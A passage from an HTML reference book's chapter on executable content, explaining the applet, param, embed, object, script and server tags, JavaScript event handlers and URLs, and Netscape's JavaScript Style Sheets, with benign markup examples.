  <param name=clockToSet value=clock1>
</applet>
<applet code=setter.class>
  <param name=clockToSet value=clock2>
</applet>

Since we have no need to distinguish between the Setter applets, we choose not to name their instances.

The height and width attributes

Identical to the counterparts for the <img> tag, the height and width attributes define the size of the applet's display region in the document. They both accept values indicating the size of the region in pixels. [the section called "The height and width attributes"]

The display region's dimensions often must match some other applet requirement, so be careful to check these values with the applet programmer. Sometimes, the applet may scale its display output to match your specified region.

For example, suppose our example clock applet should grow or shrink to fit nearly any size display region. Hence, we might create a square clock 100 pixels wide by 100 pixels tall:

<applet code=clock.class height=100 width=100>
</applet>

The hspace and vspace attributes

As with a floating or inline image, surrounding text tightly abuts an applet's display region. The hspace and vspace attributes let you interpose some empty space around the applet region to set it off from the text. Both attributes accept a value that indicates pixels of space, with the hspace attribute creating a space to the left and right of the region; the vspace attribute adds space above and below the region.

For instance, to give our example clock some breathing room on the page, we might place an additional five pixels of space around it:

<applet code=clock.class height=100 width=100 hspace=5 vspace=5>
</applet>

The mayscript attribute

The mayscript attribute, supported only by Netscape, indicates that the Java applet will be accessing JavaScript features within the browser. Normally, Java applets attempting to access JavaScript cause a browser error. If your applets access JavaScript, you must specify mayscript in the <applet> tag.

The title attribute

The value of this attribute is a quoted string, which is used by Internet Explorer to provide a title, if necessary, for the applet. This attribute is not supported by Netscape.

Supporting incompatible browsers

Since some browsers may not support applets or the <applet> tag, sometimes you may need to tell readers what they are missing. You do this by including HTML body content between the <applet> and </applet> tags.

Browsers that support the <applet> tags ignore the HTML content inside. (Use the alt attribute to notify applet-enabled browser users when the applet doesn't display for some reason.) Of course, browsers that don't support applets don't recognize the <applet> tags. Being generally tolerant of apparent HTML mistakes, they will usually ignore the unrecognized tag and blithely go on to display whatever content may appear inside. It's as simple as that. The following fragment tells applet-incapable browser users they won't see our clock example:

<applet code=clock.class>
  If your browser were capable of handling applets, you'd see
  a nifty clock right here!
</applet>

Remember that this contained text is different from the text supplied by the alt attribute of the <applet> tag. The alt text is displayed by browsers that support the <applet> tag but cannot execute or display the specified applet. The contained text is displayed by browsers that do not support the <applet> tag at all. In order to accommodate both classes of browsers, the considerate author supplies both for each <applet> tag:

<param>

<applet code=clockclass height=100 width=100
  alt="[ Clock applet not available ]">
  <param name=style value=analog>
  If your browser were capable of handling applets, you'd see
  a nifty analog clock right here!
</applet>

The <param> Tag

The <param> tag supplies parameters for a containing <applet> or <object> tag.

<param>
Function:

Supply a parameter to an <applet>

Attributes:

NAME
TYPE (Internet Explorer)
VALUE
VALUETYPE (Internet Explorer)

End tag:

None

Contains:

Nothing

Used in:

applet_content

[the section called "The <object> Tag"]

The <param> tag has no content and no end tag. It appears, perhaps with other <param> tags, only between an <applet> or <object> tag and its end tag. Use the <param> tag to pass parameters to the applet program or embedded object as required for it to function correctly.

The name and value attributes

The <param> tag has two required attributes: name and value. Both attributes accept strings as their value and together define a name/value pair that the browser passes to the applet.

For instance, our Clock applet example might let users specify the time zone by which it sets its hour hand. To pass the parameter named "timezone" with the value "EST" to our example applet, you would specify the parameters as:

<applet code=clock.class>
  <param name=timezone value=EST>
</applet>

Since both attributes had simple strings for values, we did not enclose the values in quotation marks. For values with embedded punctuation and spaces, be sure to delimit the strings accordingly.

The browser will pass the name/value pairs to the applet, but that is no guarantee that the applet is expecting the parameters, that the names and values are correct, or that the applet will even use the parameters. Correct parameter names, including capitalization, and acceptable values are determined by the applet author. The wise HTML document author will work closely with the applet author or have detailed documentation to ensure that the applet parameters are named correctly and assigned valid values.

The type and valuetype attributes

The type and valuetype attributes are supported only by Internet Explorer. Use them to define the type of the parameter the browser passes to the embedded object and how that object is to interpret the value. Used only with <param> tags contained within an <object> tag (see 13.2), these attributes have no use with parameters being passed to Java applets.

The valuetype attribute can have one of three values: data, ref, or object. The value data indicates that the parameter value is a simple string. This is the default value. Using ref indicates that the value is a URL of some other resource on the web. Finally, object indicates that the value is the name of another embedded object in the current document. This may be needed to support inter-object communication within an HTML document.

The value of the type attribute is the MIME media type of the value of the parameter. This is usually of no significance when the parameter value is a simple string, but can be important when the value is actually a URL pointing to some other object on the Web. In those cases, the embedded object may need to know the MIME type of the object in order to use it correctly. For example, this parameter tells the embedded object that the parameter is actually the URL of a Microsoft Word document :

plug-ins

<param name=document value=http://kumquats.com/quat.doc
   type=application/msword valuetype=url>

Previous | Home | Next
Named Frame or Window Targets | Book Index | Embedded Content
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 13] 13.2 Embedded Content

HTML: The Definitive Guide

Previous Chapter 13
Executable Content 		Next

13.2 Embedded Content

The <applet> tag lets you insert programs, usually Java applets, into your HTML pages. As an extension to this concept, the popular browsers also let you insert data "objects" in your pages. These objects are grist for special applications, known as plug-ins, which are created by third-party vendors and are usually distributed over the Web to interested users. If the user owns a copy of the plug-in, the embedded object in your HTML document automatically causes the browser to execute the application, which in turn uses the object's information for processing and display.

Initially, plug-ins addressed the dearth of multimedia content available on the Web. The first plug-ins supported video and audio feeds, for example, and other nifty content like animation that was just not possible with plain HTML. As programmers grew more sophisticated, plug-ins evolved to include applications like games, database interfaces, and graphical interface elements.

In this section, we cover two tags that support embedded content. The <embed> tag lets you include an object whose MIME type references the plug-in needed to process and possibly display that object. The <object> tag is a hybrid of the <embed> and <applet> tags, supporting both embedded objects and applets.

The <embed> tag

<embed> (Netscape) (Internet Explorer)
Function:

Embed an object in a document

Attributes:

ALIGN (Netscape)
BORDER (Netscape)
HEIGHT
HIDDEN
HSPACE (Netscape)
NAME
PALETTE
PLUGINSPAGE (Netscape)
SRC
TYPE (Netscape)
UNITS
VSPACE (Netscape)
WIDTH

End tag:

None

Contains:

Nothing

Used in:

text

Use the <embed> tag to include a reference in your HTML document to some special plug-in application and perhaps data for that application. Reference the data object via the src attribute and URL value for download by the browser. The browser uses the MIME type of the src'd object to determine the plug-in required to process the object. Alternatively, you may also use the type attribute to specify a MIME type without an object, and thereby initiate execution of a plug-in application, if it exists on the user's computer.

Like all other tags, the <embed> tag has a set of predefined attributes that define parameters and modify the tag's behavior. Unlike most other tags, however, the browsers let you include plug-in-specific name/value attribute pairs in <embed> that, instead of altering the action of the tag itself, get passed to the plug-in application for further processing.

For example, this tag:

<embed src=movie.avi width=320 height=200 autostart=true loop=3>

has attributes that are processed by the <embed> tag (src, width, and height) and two that are not recognized, but rather passed to the plug-in associated with AVI video clips: autostart and loop.

It is not possible to document all the possible attributes that the many different plug-ins might need with their associated <embed> tag. Instead, you must turn to the plug-in developer to learn about all their required and optional attributes for each particular plug-in you plan to use in your pages.

The align, border, height, width, hspace, and vspace attributes

The browser invariably displays embedded objects to the user in a region set aside within the document window. The <embed> tag's align, border, height, width, hspace, and vspace attributes let you control the appearance of that region exactly as they do for the <img> tag, so we won't belabor them here. [the section called "The <img> Tag"]

Briefly, the height and width attributes control the size of the viewing region. Normally, you should specify the height and width in pixels, but you may also use some other units of measure if you also specify the units attribute (see 13.2.1.8). The hspace and vspace attributes define a margin, in pixels, around the viewing region. The align attribute determines how the browser aligns the region within surrounding text, while the border attribute determines the width of the border surrounding the viewing region.

Only Netscape supports the align, border, hspace, and vspace attributes for the <embed> tag.

The hidden attribute

The hidden attribute makes an object invisible to the user, forcing it to have a height and width of zero. Note that setting hidden does not cause the browser to display an empty region within the document, but rather completely remove the object from the containing text flow.

This attribute is useful for audio streams placed within HTML documents. The HTML entry:

<embed src=music.wav hidden autostart=true loop=true>

embeds an audio object in the page. The browser does not show anything to the user, but rather plays background music for the page. By contrast, the plug-in associated with:

<embed src=music.wav>

might present an audio control panel to users so that they might start and stop the audio playback, adjust the volume, and so forth.

The name attribute

Like other name attributes, this one also lets your label the embedded object for later reference by other elements in your document, including other objects. The value of the attribute is a character string.

The palette attribute

The palette attribute is supported by both Netscape and Internet Explorer, but in completely different ways. With Netscape, the value of the palette attribute is either foreground or background, indicating which palette of window system colors the plug-in uses for its display.

With Internet Explorer, the value of palette is instead a pair of hexadecimal color values, separated by a vertical bar. The first value determines the foreground color used by the plug-in; the second sets the background color. Thus, specifying this palette:

palette=#ff0000|#00ff00

causes the plug-in to use red as its foreground color and green as its background color. For a complete description of hexadecimal color values, see Appendix F, Color Names and Values.

The pluginspage attribute

The pluginspage attribute, supported only by Netscape, specifies the URL of a web page that provides instruction on where to obtain and how to install the plug-in associated with the embedded object.

The src attribute

Like its document-referencing counterparts for a myriad of other tags, the src attribute supplies the URL of the data object that you embed in the HTML document. The server providing the object must be configured so that it notifies the browser of the correct MIME type of the object. If not, the browser will use the suffix of the last element of the src value--the object's filename in the URL path--to determine the type of the object. The browser uses this MIME type to determine which plug-in it will execute to process the object.

If you don't include a src attribute with the <embed> tag, you've got to include a type attribute to explicitly reference the MIME type and, hence, the plug-in application.

The type attribute

Use the type attribute in addition to or in lieu of the src attribute. Its value explicitly indicates the MIME type of the embedded object, which in turn determines which plug-in the browser will invoked to process the object. This attribute is not required if you include the src attribute and the browser can determine the object type from the object's URL or server. You must supply a type attribute if you don't include the src attribute.

It may seem odd to use an <embed> tag without a src attribute reference to some object, but this is common if the plug-in requires no data or retrieves its data dynamically after it is started. In these cases, the type attribute is required so that the browser knows which plug-in to invoke.

The units attribute

The default units of measure for the height and width attributes that control the <embed> display space is pixels. The units attribute lets you explicitly state that absolute measure of pixels, or change it to the relative en, which measure is one-half the current point size of text in the document. With the en units, you tailor the object's viewing area (viewport) to be proportional to its immediately surrounding content, the size of which is varied by the user.

For example,

<embed src=movie.avi height=200 width=320 units=pixels>

creates a view port for the window 200 by 320 pixels. By changing units to en, that same view port, when included within a flow of 12-point text, will become 1200 by 1920 pixels.

The <noembed> Tag

Some browsers do not support the <embed> tag. The <noembed> tag makes it easy to supply alternative content that tells users what they are missing.

<noembed> (Netscape) (Internet Explorer)
Function:

Supply content to <embed>-incompatible browsers

Attributes:

None

End tag:

None

Contains:

Nothing

Used in:

text

The popular browsers ignore the contents of the <noembed> tag, whereas browsers that do not support the <embed> tag will display the contents of the <noembed> tag. Normally, use the contents of the <noembed> tag to display some sort of message placating users of inadequate browsers:

<embed src=cool.mov autostart=true loop=true>
<noembed>To view the cool movie, you need to upgrade to a browser
that supports the &lt;embed&gt; tag!</noembed>

We recommend using a <noembed> message only in those cases where the object is crucial for the user to comprehend and use your HTML document. And, in those cases, provide a link to a document that can stand alone without the embedded object, or nicely explain the difficulty.

<object>

The <object> Tag

The <object> tag provides the functionality of both the <applet> and <embed> tags. Use it to insert Java and other applets into a document, along with their parameters, or to embed objects in a document, causing the browser to invoke their associated plug-ins.

The <object> tag was originally implemented by Microsoft to support the insertion of ActiveX applets into documents. Microsoft later added limited support for the <embed> and <applet> tags and added <embed>-like capabilities to <object>, along with the ability to handle Java applets. In a similar manner, Netscape initially supported the <embed> and <applet> tags and later provided limited support for the <object> tag.

All this jostling for position by the browser giants makes us nervous. We just can't predict what extension will be supported today, and in what form, versus what will or won't be available tomorrow. Accordingly, we don't recommend that you use the <object> tag. Rather, use the individual <embed> and <applet> tags for their intended purposes.

<object> (Netscape) (Internet Explorer)
Function:

Embed an object or applet in a document

Attributes:

ALIGN
BORDER (Internet Explorer)
CLASSID
CODEBASE
CODETYPE (Internet Explorer)
DATA
DECLARE (Internet Explorer)
HEIGHT
HSPACE (Internet Explorer)
ID (Netscape)
NAME (Internet Explorer)
NOTAB (Internet Explorer)
SHAPES (Internet Explorer)
STANDBY (Internet Explorer)
TABINDEX (Internet Explorer)
TITLE (Internet Explorer)
TYPE
USEMAP (Internet Explorer)
VSPACE (Internet Explorer)
WIDTH

End tag:

</object>; never omitted

Contains:

object_content

Used in:

text

Most of the various attributes for the <object> tag are identical to those supported by their <embed> and <applet> counterparts.

The contents of the <object> tag may be any valid HTML content, along with <param> tags that pass parameters to an applet. If the browser can retrieve the requested object and successfully process it, either as an applet or via a plug-in, the contents of the <object> tag, except for the <param> tags, are ignored. If any problem occurs during the retrieval and processing of the object, the browser won't insert the object into the document, but instead displays the contents of the <object> tag, except for the <param> tags. In short, you should use the contents of the <object> tag to provide alternative content for browsers that cannot handle the <object> tag or if the object cannot be successfully loaded.

The align, border, height, width, hspace, and vspace attributes

These attributes control the appearance of the <object> display region exactly like the corresponding attributes of the <img> tag. The height and width attributes control the size of the viewing region. The hspace and vspace attributes define a margin, in pixels, around the viewing region. The align attribute determines how the browser aligns the region in context with the surrounding text, while the border attribute determines the width of the border surrounding the viewing region. [the section called "The <img> Tag"]

The border, hspace, and vspace attributes are supported only by Internet Explorer.

The classid attribute

Use the classid attribute and URL value to reference the object that the browser is to include in the document. The classid attribute is similar to the code attribute of the <applet> tag, providing the name of the file containing the object, and is used in conjunction with the codebase attribute to determine the full URL of the object to be retrieved and placed in the document.

The codebase attribute

Use the codebase attribute to reference applet or object data files that are not located in the same directory as the host HTML document. The value of this attribute is a URL that is used, along with the value of the classid attribute, to locate and download the desired object. The codebase URL value may be absolute or relative; if relative, it is assumed to be relative to the containing document's URL.

The codetype attribute

The codetype attribute is for Internet Explorer only and specifies the MIME type of the object. This attribute is only required if the browser cannot determine the code type from the classid and codebase attributes, or if the server does not deliver the correct MIME type when downloading the object.

The data attribute

The data attribute lets you associate a separate data file, if any, that is to be processed by the object. The data attribute's value is the URL of the file, either absolute or relative to the document's base URL or that which you provide with the codebase attribute. The browser determines the data type by the type of object that is being inserted in the document. This attribute is similar to the src attribute of the <embed> tag in that it downloads data to be processed by the included object. The difference between the <embed> and <object> tags is that the <embed> tag infers the processing application based upon the data type, while the <object> tag expects you to explicitly specify the application by the classid and codebase attributes.

The declare attribute

The declare attribute lets you define an object, but restrains the browser from actually downloading and processing it. Used in conjunction with the name attribute, this facility is similar to a forward declaration in a more conventional programming language which lets you defer download of an object until it actually gets used in the document.

This attribute is supported only by Internet Explorer.

The id and name attributes

Use the id and name attributes to label an object for later reference by other elements of your HTML document, including other objects. Unfortunately, only Netscape supports the id attribute, while only Internet Explorer supports the name attribute. To be safe, you should name your objects with both attributes, since the browsers will ignore attributes they do not support.

The notab attribute

For Internet Explorer with ActiveX objects only, the notab attribute excludes the object from the document tabbing order.

The shapes and usemap attributes

For use with Internet Explorer only, the shapes attribute, informs the browser that the object is mouse-sensitive and contains shaped hyperlinks, much like a client-side image map. In fact, with shapes you must also provide the usemap attribute with its URL for the map that defines the hyperlink hot spots within the object's display area. A complete discussion of client-side image maps can be found in 7.5.2.

The standby attribute

The standby attribute lets you have Internet Explorer only display a message--the attribute's value text string--during the time the browser is downloading the object data. If your objects are large or you expect slow network response, add this attribute as a courtesy to your users.

The tabindex attribute

The value of the tabindex attribute is an integer that defines the position of the object in the document's tabbing sequence. Browsers place interactive objects, along with form elements, in the tabbing sequence in the order they appear in the document. To change this sequence with Internet Explorer only, use the tabindex attribute.

The title attribute

Internet Explorer only lets you specially entitle your objects with the title attribute. It takes a text string as its value. The browser may choose to display this title to the user or may use it in some other manner while rendering the document.

JavaScript

The type attribute

The type attribute lets you explicitly define the MIME type of the data that appear in the file you declare with the data attribute. If you don't provide data, or if the MIME type of the data is apparent from the URL or is provided by the server, you may omit this attribute. We recommend you include it anyway, to ensure that your data is handled correctly by the browser and the included object.

Previous | Home | Next
Applets | Book Index | JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 13] 13.3 JavaScript

HTML: The Definitive Guide

Previous Chapter 13
Executable Content 		Next

13.3 JavaScript

Whether <applet>, <object>, or <embed>, all the executable content we've talked about so far have had one common trait: they are separate from the browser and the HTML document--separate data, separate execution engine.

JavaScript is different. It is a scripting language that taps the native functionality of the browser. You may sprinkle JavaScript statements throughout your documents, either as blocks of code or single statements attached to individual tags. The JavaScript-enabled browsers, including both Netscape and Internet Explorer, interpret and act upon the JavaScript statements you provide to do such things as alter the appearance of the document, control the display, validate and manipulate form elements, and perform general computational tasks.

Like with Java, we will not pretend to teach JavaScript programming in this book. We'll show you how to embed and execute JavaScript within your documents, and ask that you turn to books like JavaScript: The Definitive Guide, from O'Reilly, for a complete definition of the JavaScript language.

The <script> Tag

One way to place JavaScript code in your document is via the <script> tag.

<script>
Function:

Define an executable script within a document

Attributes:

LANGUAGE (Netscape) (Internet Explorer)
SRC (Netscape) (Internet Explorer)

End tag:

</script>; never omitted

Contains:

scripts

Used in:

head_content, body_content

Everything between the <script> and </script> tags is processed by the browser as executable JavaScript statements and data. You cannot place HTML within this tag; it will flagged as an error by the browser.

Browsers that do not support the <script> tag will process contents of the tag as regular HTML, to the confusion of the user. For this reason, and as with the new <style> tag, we recommend that you include the contents of the <script> tag inside HTML comments:

<script language="JavaScript">
<!--
   JavaScript statements go here
// -->
</script>

For browsers that ignore the <script> tag, the contents are masked by the HTML comments delimiters <!-- and -->. JavaScript-enabled browsers, on the other hand, automatically recognize and interpret the JavaScript statements delimited by the comment tags. By using this skeleton for all your <script> tags, you can be sure that all browsers will handle your document gracefully, if not completely.

You may include more than one <script> tag in a document, located in either the <head> or the <body>. The JavaScript-enabled browser executes the statements in order as they occur. Variables and functions defined within one <script> tag may be referenced by JavaScript statements in other <script> tags. In fact, one common JavaScript programming style is to use a single <script> in the document <head> to define common functions and global variables for the document, and then to call those functions and reference their variables in other JavaScript statements sprinkled throughout the document.

The language attribute

Use the language attribute in the <script> tag to declare the scripting language you used to compose the contents of the tag. If you are using JavaScript--by far the most common HTML scripting language on the Web--set this attribute's value to JavaScript. You may occasionally see the language value VBScript, indicating that the enclosed code is written in Microsoft's Visual Basic Script.

With JavaScript, you may also use the value "JavaScript 1.1", indicating that the enclosed script is to be processed only by Netscape 3.0 or later. Netscape 2.0, which supports JavaScript 1.0, will not process scripts identified as "JavaScript 1.1".

The src attribute

For particularly large JavaScript programs, you might want to store the code in a separate file. In these cases, have the browser load that separate file through the src attribute. The value of the src attribute is the URL of the file containing the JavaScript program. The stored file should have a MIME type of application/x-javascript; but will also be properly handled automatically by the server if the filename suffix is .js.

For example,

<script language=JavaScript src="http://www.kumquat.com/quatscript.js">
</script>

tells the <script>-able browser to load a JavaScript program called quatscript.js from the server. Even though there are no <script> contents, the ending </script> is still required.

The <noscript> Tag

So that you can tell users of browsers that do not support the <script> tag that they are missing something, Netscape supports the <noscript> tag.

<noscript> (Netscape)
Function:

Supply content to <script>-challenged browsers

Attributes:

None

End tag:

</noscript>; never omitted

Contains:

body_content

Used in:

text

Unfortunately, only Netscape 3.0 and later versions ignore the contents of the <noscript> tag. So even <script>-able browsers like Internet Explorer and Netscape 2.0 will display the contents of the <noscript> tag, to the confusion of their users.

JavaScript event handlers

So, in reality, the <noscript> tag has limited usefulness due to its inconsistent support among browsers. There are other ways to detect and handle <script>-challenged browsers, detailed in any good JavaScript book.

JavaScript Event Handlers

One of the most important features provided by JavaScript is the ability to detect and react to events that occur while a document is loaded, rendered, and used. The JavaScript code that handles these events may be placed within the <script> tag, but more commonly it is associated with a specific tag via one or more special tag attributes.

For example, you might want to invoke a JavaScript functions when the user passes the mouse over a hyperlink in a document. The JavaScript-aware browsers support a special "mouse over" event-handler attribute for the <a> tag called onMouseOver to do just that:

<a href=doc.html onMouseOver="document.status='Click me!'; return true">

When the mouse passes over this example link, the browser executes the JavaScript statements. (Notice that the two JavaScript statements are enclosed in quotes and separated by a semi-colon, and that single quotes surround the text-message portion of the first statement.)

While a complete explanation of this code is beyond our scope, the net result is that the browser places the message "Click me!" in the status bar of the browser window. Commonly, HTML authors use this simple JavaScript function to display a more descriptive explanation of a hyperlink, in place of the often cryptic URL which the browser traditionally displays in the status window.

The value of any of the JavaScript event handler attributes is a quoted string containing one or more JavaScript statements, separated by semicolons. Extremely long statements can be broken across several lines, if needed. Care should also be taken in using entities for embedded double quotes in the statements, to avoid a syntax error when processing the attribute value.

We list the various JavaScript event handlers and their associated tags in Table 13.1, along with the section of this book that describes them in more detail.

Table 13.1: JavaScript event handlers and their supporting HTML tags
Event Handlers | HTML Tags | See section
onAbort | <img> | 5.2.6.14
onBlur | <body> <frameset> <input> <select> <textarea> | 12.3.1.3 12.3.1.3 10.2.9 10.4.1.3 10.3.3
onChange | <input> <select> <textarea> | 10.2.9 10.4.1.3 10.3.3
onClick | <a> <input> <select> | 7.3.1.4 10.2.9 10.4.1.3
onError | <img> | 5.2.6.14
onFocus | <body> <frameset> <input> <select> <textarea> | 12.3.1.3 12.3.1.3 10.2.9 10.4.1.3 10.3.3
onLoad | <body> <frameset> <img> | 12.3.1.3 12.3.1.3 5.2.6.14
onMouseOut | <a> <area> | 7.3.1.4 7.5.4.6
onMouseOver | <a> <area> | 7.3.1.4 7.5.4.6
onReset | <form> | 10.1.1.9
onSelect | <input> <textarea> | 10.2.9 10.3.3
onSubmit | <form> | 10.1.1.9
onUnload | <body> <frameset> | 12.3.1.3 12.3.1.3

JavaScript URLs

You can replace any conventional URL reference in a document with one or more JavaScript statements. The browser then executes the JavaScript code, rather than download another document, whenever the browser references the URL. The result of the last statement is taken to be the "document" referenced by the URL and is displayed by the browser accordingly. The result of the last statement is not the URL of a document; it is the actual content to be displayed by the browser.

To create a JavaScript URL, use javascript as the URL's protocol:

<a href="javascript:generate_document()">

In the example, the JavaScript function generate_document() gets executed whenever the hyperlink gets selected by the user. The value returned by the function, presumably a valid HTML document, is rendered and displayed by the browser.

It may be that the executed statement returns no value. In these cases, the current document is left unchanged. For example, this JavaScript URL:

<a href="javascript:alert('Error!')">

pops up an alert dialog box, and does nothing else. The document containing the hyperlink would still be visible after the dialog box gets displayed and is dismissed by the user.

JavaScript Entities

Character entities in HTML consist of an ampersand, an entity name or number, and a closing semicolon. They are used to insert special or reserved characters into documents.

Similarly, JavaScript entities consist of an ampersand, one or more JavaScript statements enclosed in curly braces, and a closing semicolon. For example:

&{document.fgColor};

More than one statement must be separated by semicolons within the curly braces. The value of the last (or only) statement is converted to a string and replaces the entity in the document.

Normally, HTML entities can appear anywhere in a document. JavaScript entities are restricted to being values of tag attributes. This lets you write "dynamic tags" whose attributes are not known until the document is loaded and the JavaScript executed. For example,

<body text=&{favorite_color()};>

will set the text color of the document to the color value returned by the individual's favorite_color() function.

The <server> Tag

The <server> tag is a strange beast. It is processed by the web server, and never seen by the browser. So what you can do with this tag depends on the server you are using, not the reader's browser. The Netscape server uses the <server> tag to let you to place JavaScript statements within an HTML document that get processed by the server. The result of executing these statements is inserted into the document, replacing the <server> tag. A complete discussion of this so-called "server-side" JavaScript is completely beyond this book; we include this brief reference only to document the <server> tag.

<server> (Netscape)
Function:

Define server-side JavaScript

Attributes:

None

End tag:

</server>; never omitted

Contains:

JavaScript

Used in:

head_content

Like the <script> tag, the <server> tag contains JavaScript code. However, the latter tag and content code must appear inside the document <head>, not elsewhere. It is extracted from the document and executed by the server when the document is requested for download.

JavaScript style sheets

Obviously, server-side JavaScript is tightly coupled to your server. To fully exploit this tag and the benefits of server-side JavaScript or other server-side programming languages, consult your web server's documentation for complete details.

Previous | Home | Next
Embedded Content | Book Index | JavaScript Style Sheets
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 13] 13.4 JavaScript Style Sheets

HTML: The Definitive Guide

Previous Chapter 13
Executable Content 		Next

13.4 JavaScript Style Sheets

Much of a browser's work is manipulating the display, and much of their display code already had been exposed for JavaScripting. So it seemed only natural, perhaps even relatively easy, for the developers at Netscape to implement JavaScript Style Sheets. Based on the W3C recommended Cascading Style Sheet model (CSS; see Chapter 9, Cascading Style Sheets), this alternative document style technology lets you prescribe display properties for all the various HTML elements, either inline as tag attributes, at the document level, or for an entire document collection.

JavaScript Style Sheets (JSS) are a Netscape invention. In fact, for a short time in the fall of 1996, Netscape appeared ready to eschew the CSS methodology, which Internet Explorer already had implemented, and use JSS exclusively for HTML document designers with their new browser, Netscape Navigator 4.0. Fortunately, the new version now supports both JSS and CSS technologies.

We are strong proponents of reasonable standards. The CSS model is a good one, and it is good that Netscape has decided to support it. Whether Internet Explorer will someday support JSS is not known, but it is clear that Microsoft intends continued support for the CSS standard and the promised HTML 4.0 standard (they haven't had good results bucking web standards in the past).

But standards aren't the whole story. We can't imagine that the HTML author, let alone the page layout designer, is going to abide the rigid programming syntax of JavaScript, starting with the importance of letter case in property names. Very un-HTML. Nonetheless, there are some advantages to JSS that some authors will find useful, even though it restricts their document's full potential to the select Netscape 4 user.

We believe style sheets are an important innovation for HTML, and JSS is a very powerful way to provide them. Nonetheless, we recommend using CSS for reasons of consistency and ease--unless you specifically need some feature of JSS.

We thoroughly discuss the concepts and ideas behind HTML style sheets--specifically, Cascading Style Sheets--in Chapter 9, Cascading Style Sheets, so we won't repeat ourselves here. Rather, we address only how to create and manipulate styles with JavaScript. Before forging ahead in this section, we recommend that you first absorb the information in Chapter 9, Cascading Style Sheets.

JavaScript Style Sheet Syntax

Netscape 4 implements JSS by extending several existing HTML tags and defining a few new objects that store your document's styles.

External, document-level, and inline JSS

As with CSS, you may reference and load external JSS files with the <link> tag. For example:

<link href="styles.js" rel=stylesheet type=text/JavaScript>

The only real difference between this one and the one for a CSS external style sheet is that the type attribute of the <link> tag is set to text/JavaScript instead of text/CSS. The referenced file, styles.js, contains JavaScript statements that define styles and classes that Netscape will then use to control display of the current document.

You define document-level JSS within a <style> tag in the <head> of the document, just like CSS. Again, there is only one real difference in that you set the type attribute of the <style> tag to text/JavaScript instead of text/CSS.

The contents of the <style> tag for JSS are quite different from those for CSS, however. For example:

<style type=text/JavaScript>
<!--
    tags.BODY.marginLeft = "20px";
    tags.P.fontWeight = "bold";
  // -->
</style>

First, notice that we use the standard JavaScript and HTML comments to surround our JSS definitions, preventing non-compliant browsers from processing them as HTML content. Also notice that the syntax of the style definition is that of JavaScript, where letter case does make a difference, amongst other things.

You associate inline JavaScript-based style rules with a specific tag using the style attribute, just like CSS inline styles. The value of the attribute is a list of JSS assignments, separated by semicolons. For example,

<p style="color = 'green'; fontWeight = 'bold'">

creates a green, bold-faced text paragraph. Notice first that you need to enclose inline style values within single quotation marks, not double quotation marks as you might use for document-level and in external JSS styles. This is reasonable, since the style attribute value itself must be enclosed in double quotation marks.

Also note that inline JSS definitions use only the property name, not the containing tag object that owns the property. This makes sense, since inline JSS styles affect only the current tag, not all instances of the tag.

JSS values

In general, all of the values you may use for CSS may also be used in JSS definitions. For keyword, length, and percentage values, simply enclose the value in quotes and use it as you would any string value in JavaScript. Thus, the CSS value bold becomes "bold" or 'bold' for JSS document-level or inline styles, respectively; 12pt in CSS becomes '12pt' or "12pt" in JSS.

Specify color values as the color name or a hexadecimal color value, enclosed in single or double quotes. The CSS decimal rgb notation is not supported in JSS.

JSS URL values are strings containing the desired URL. Thus, the CSS URL value url(http://www.kumquat.com) becomes 'http://www.kumquat.com' for a JSS inline style; or "http://www.kumquat.com" at the document level.

One unique power of JSS is that any value can be computed dynamically when the document is processed by the browser. Instead of statically specifying the font size, for example, you can compute it on the fly:

tags.P.fontSize = favorite_font_size();

We assume that the JavaScript function favorite_font_size() somehow determines the desired font size and returns a string value containing that size. This, in turn, is assigned to the fontSize property for the <p> tag, defining the font size for all paragraphs in the document.

Defining styles for tags

JavaScript defines a new document property, tags, that contains the style properties for all HTML tags. To define a style for a tag, you simply set the appropriate property of the desired style property within the tag property of the document object. For example:

document.tags.P.fontSize = '12pt';
document.tags.H2.color = 'blue';

These two JSS definitions set the font size for the <p> tag to 12 points and render all <h2> tags in blue. The equivalent CSS definitions are:

P {font-size : 12pt}
H2 {color : blue}

Since the tags property always refers to the current document, you may omit document from any JSS tag style definition. We could have written the previous two styles as:

tags.P.fontSize = '12pt';
tags.H2.color = 'blue';

Moreover, as we mention above, you may omit the tag name, as well as the document and tags properties for inline JSS using the style attribute.

Capitalization and case are significant in JSS. The tag names within the tags property must always be fully capitalized. The embedded capital letters within the tag properties are significant: any deviation from the exact lettering produces an error, and Netscape won't honor your JSS declaration. All of the following JSS definitions are invalid, though the reason is not overly apparent:

tags.p.fontsize = '12pt';
tags.Body.Color = 'blue';
tags.P.COLOR = 'red';

The correct versions are:

tags.P.fontSize = '12pt';
tags.BODY.color = 'blue';
tags.P.color = 'red';

It can be very tedious to specify a number of properties for a single tag, so you can take advantage of the JavaScript with statement to reduce your typing burden. These styles:

tags.P.fontSize = '14pt';
tags.P.color = 'blue';
tags.P.fontWeight = 'bold';
tags.P.leftMargin = '20%';

can be more easily written as:

with (tags.P) {
  fontSize = '14pt';
  color = 'blue';
  fontWeight = 'bold';
  leftMargin = '20%';
  }

You can apply similar styles to diverse tags just as easily:

with (tags.P, tags.LI, tags.H1) {
  fontSize = '14pt';
  color = 'blue';
  fontWeight = 'bold';
  leftMargin = '20%';
  }

Defining style classes

Like CSS, JSS lets you target styles for specific ways in which a tag may be used in your document. JSS uses the classes property to define separate styles for the same tag. There are no predefined properties within the classes property; instead, any property you reference is defined as a class to be used by the current document. For example:

classes.bold.P.fontWeight = 'bold';
with (classes.abstract.P) {
   leftMargin = '20pt';
   rightMargin = '20pt';
   fontStyle = 'italic';
   textAlign = 'justify';
   }

The first style defines a class of the <p> tag named bold whose font weight is set to bold. The next style uses the with statement to create a class of the <p> tag named abstract with the specified properties. The equivalent CSS rules would be:

P.bold {font-weight : bold}
P.abstract {left-margin : 20pt;
            right-margin : 20pt;
            font-style : italic;
            text-align : justify
           }

Once defined, use a JSS class just like any CSS class: with the class attribute and the class name.

Like CSS, JSS also lets you define a class without defining the tag that will use the class. This lets you define generic classes that you can later apply to any tag. To create a generic style class in JSS, use the special tag property all:

classes.green.all.color = "green";

You can then add class="green" to any tag to have Netscape render its contents in green. The equivalent CSS is:

.green {color : green}

Using contextual styles

